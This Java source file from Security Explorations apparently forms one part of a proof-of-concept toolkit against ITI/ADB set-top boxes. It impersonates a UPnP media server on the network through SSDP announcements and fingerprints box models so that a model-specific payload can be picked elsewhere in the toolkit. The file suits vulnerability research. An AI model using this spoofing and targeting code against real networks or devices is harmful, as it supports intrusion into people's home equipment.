/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.io.*;
import java.net.*;

public class SSDPServer {
 public static final int REQ_HANDLER = 1;
 public static final int SRV_NOTIFY  = 2;

 public static final String UUID     = "00000000-1111-2222-3333-444444444444";
 public static final String SERV_VER = "ITI-2850ST/v15.2-rc-151-g42d9237 UPnP/1.0 BH-upnpdev/2.0";
 public static final String LOCATION = "http://"+Servers.host_addr+":8080/upnpdev/dev.xml";

 public static String found_uuid=null;

 public static final int BCAST_INTERVAL = 60;

 static boolean running;

 public static final String services[]={
  "upnp:rootdevice",
  null,
  "urn:schemas-upnp-org:device:MediaServer:3",
  "urn:schemas-upnp-org:service:ConnectionManager:2",
  "urn:schemas-upnp-org:service:ContentDirectory:3",
  "urn:schemas-upnp-org:service:ScheduledRecording:2",
  "urn:schemas-upnp-org:service:X_ADB_CerberService:1",
  "urn:adbglobal-com:service:X_ADB_RemoteControl:1",
  "urn:ncplus_stb:service:webservice:1"
 };

 public static byte[] prepare_notify(String service,String state) {
  String xml="";

  xml+="NOTIFY * HTTP/1.1\r\n";
  xml+="CACHE-CONTROL: max-age=1800\r\n";
  xml+="HOST: 239.255.255.250:1900\r\n";
  xml+="LOCATION: "+LOCATION+"\r\n";
  xml+="NT: "+service+"\r\n";
  xml+="NTS: "+state+"\r\n";
  xml+="SERVER: "+SERV_VER+"\r\n";
  if (service.startsWith("uuid")) {
   xml+="USN: "+service+"\r\n";
  } else {
   xml+="USN: uuid:"+UUID+"::"+service+"\r\n";
  }

  xml+="\r\n";

  return xml.getBytes();  
 }

 public static class ReqHandler extends Thread {
  InetAddress host;
  int port;
  byte data[];
  int size;

  public ReqHandler(InetAddress host,int port,byte data[],int size) {
   this.host=host;
   this.port=port;
   this.data=data;
   this.size=size;
  }

  public void run() {
   try {
   System.out.println("ssdp: from "+host);

    String req=new String(data);

    if (req.startsWith("M-SEARCH")) {
     System.out.println("M-SEARCH");

     String resp="";
     resp+="HTTP/1.1 200 OK\r\n";
     resp+="CACHE-CONTROL: max-age=1800\r\n";
     resp+="EXT: \r\n";
     resp+="LOCATION: "+LOCATION+"\r\n";
     resp+="SERVER: "+SERV_VER+":\r\n";
     resp+="NTS: ssdp:alive\r\n";
     resp+="ST: upnp:rootdevice\r\n";
     resp+="USN: uuid:"+UUID+"::upnp:rootdevice\r\n\r\n";

     byte rbuf[]=resp.getBytes();

     DatagramPacket pkt=new DatagramPacket(rbuf,rbuf.length,host,port);
     srv.send(pkt);
    } else

    if (req.startsWith("NOTIFY")) {
     ByteArrayInputStream bais=new ByteArrayInputStream(req.getBytes());

     BufferedReader b=new BufferedReader(new InputStreamReader(bais,"utf-8"));
     String line=b.readLine();

     while(line!=null) {
      if (line.startsWith("NT: uuid:")) {
       line=line.trim();
       String uuid=line.substring(9,line.length());
       if (uuid.equals(UUID)) break;

       if ((found_uuid==null)||(!found_uuid.equals(uuid))) {
        found_uuid=uuid;
        System.out.println("FOUND UUID: "+found_uuid);     
        break;
       }
      } else

      if (is_remote(host)&&line.startsWith("SERVER: ")) {
       line=line.trim();
       line=line.substring(8,line.length());

       int idx=line.indexOf("/");

       if (idx>0) {
        String box_type=line.substring(0,idx);
        System.out.println("BOX TYPE: "+box_type);

        if (box_type.startsWith("ITI-2851")) {
         Multiroom.set_btype(host,Payload.BOX_2851);
        } else {
         Multiroom.set_btype(host,Payload.BOX_2849_2850);
        }
       }
      }

      line=b.readLine();
     }
     
    }

   } catch(Throwable t) {}
  }
 }

 public static class Server extends Thread {
  static final int BUFSIZE  = 1024;

  int type;

  public Server(int type) {
   this.type=type;
  }

  public void handle_requests() throws Throwable {
   while(running) {
    byte[] buf=new byte[BUFSIZE];

    DatagramPacket pkt=new DatagramPacket(buf,buf.length);
    srv.receive(pkt);

    new ReqHandler(pkt.getAddress(),pkt.getPort(),pkt.getData(),pkt.getLength()).start();
   }
  }

  public void bcast_notify(String state) throws Throwable {
   for(int i=0;i<services.length;i++) {
    String service=services[i];

    if (service==null) {
     service="uuid:"+UUID;
    }

    byte data[]=prepare_notify(service,state);
 
    DatagramPacket pkt=new DatagramPacket(data,data.length,group,ssdp_port);
    srv.send(pkt);
   }
  }

  public void bcast_notify() throws Throwable {
   while(running) {
    System.out.println("bcast notify");

    bcast_notify("ssdp:byebye");
    bcast_notify("ssdp:alive");

    Thread.currentThread().sleep(BCAST_INTERVAL*1000);
   }
  }

  public void run() {
   try {
    switch(type) {
     case REQ_HANDLER:
      handle_requests();
      break;
     case SRV_NOTIFY:
      bcast_notify();
      break;
    }
   } catch(Throwable t) {}
  }
 }

 static final int ssdp_port = 1900;

 static String host_addr="";
 static byte[] host_ip;

 static MulticastSocket srv;
 static InetAddress group;

 public static boolean same_ip(byte ip1[],byte ip2[]) {
  for(int i=0;i<4;i++) {
   if (ip1[i]!=ip2[i]) return false;
  }

  return true;
 }

 public static boolean is_remote(InetAddress addr) throws Throwable {
  byte remote_ip[]=addr.getAddress();
  byte localhost_ip[]=InetAddress.getByName("127.0.0.1").getAddress();

  if ((same_ip(host_ip,remote_ip))||(same_ip(host_ip,localhost_ip))) {
   return false;
  } else return true;
 }

 public static void start(String host_addr) {
  try {
   group=InetAddress.getByName("239.255.255.250");

   host_ip=InetAddress.getByName(host_addr).getAddress();

   srv=new MulticastSocket(ssdp_port);
   srv.joinGroup(group);

   System.out.println("SSDP server listening on: "+ssdp_port);

   running=true;
   (new Server(REQ_HANDLER)).start();   
   (new Server(SRV_NOTIFY)).start();   
  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 public static void stop() {
  running=false;
 }
}
